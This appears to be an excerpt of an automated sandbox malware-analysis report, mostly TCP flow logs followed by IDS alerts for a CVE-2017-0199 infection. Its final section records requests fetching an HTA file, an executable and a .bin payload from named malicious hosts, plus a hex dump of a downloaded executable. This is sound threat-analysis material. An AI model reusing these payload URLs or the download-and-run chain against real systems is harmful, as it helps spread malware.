Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.175.113.214:80
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.175.113.214:80 -> 192.168.2.22:49167

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 107.175.113.214:80 -> 192.168.2.22:49166
Source: Network traffic Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 107.175.113.214:80 -> 192.168.2.22:49164
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 10:21:39 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Mon, 28 Oct 2024 05:07:08 GMTETag: "b4483-6258270c9fdc6"Accept-Ranges: bytesContent-Length: 738435Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad b1 28 81 e9 d0 46 d2 e9 d0 46 d2 e9 d0 46 d2 2a df 19 d2 eb d0 46 d2 e9 d0 47 d2 76 d0 46 d2 2a df 1b d2 e6 d0 46 d2 bd f3 76 d2 e3 d0 46 d2 2e d6 40 d2 e8 d0 46 d2 52 69 63 68 e9 d0 46 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 39 ed 6f 5a 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 64 00 00 00 7c 02 00 00 04 00 00 0c 32 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 70 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 85 00 00 a0 00 00 00 00 00 04 00 b8 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f 62 00 00 00 10 00 00 00 64 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 13 00 00 00 80 00 00 00 14 00 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 55 02 00 00 a0 00 00 00 06 00 00 00 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 b8 66 00 00 00 00 04 00 00 68 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 199.217.106.226 199.217.106.226
Source: Joe Sandbox View IP Address: 199.217.106.226 199.217.106.226
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49166 -> 107.175.113.214:80
Source: Network traffic Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 107.175.113.214:80
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.22:49168 -> 199.217.106.226:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /L44VBp?&waterspout=toothsome&washbasin=berserk&beer=unable&attorney=magical&friction=reminiscent&stumbling=needless&vertigo HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /L44VBp?&waterspout=toothsome&washbasin=berserk&beer=unable&attorney=magical&friction=reminiscent&stumbling=needless&vertigo HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qrisni.meConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /pkeZmGiUuTK20.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.bookinginfo.asiaCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /xampp/rdh/niceworkingthingswithgreatthingsevengetbackwithgoodnews.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.175.113.214Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/rdh/niceworkingthingswithgreatthingsevengetbackwithgoodnews.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 107.175.113.214If-Range: "20c63-62581d920ba93"
Source: global traffic HTTP traffic detected: GET /902/walnext.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 107.175.113.214Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
Source: unknown TCP traffic detected without corresponding DNS query: 107.175.113.214
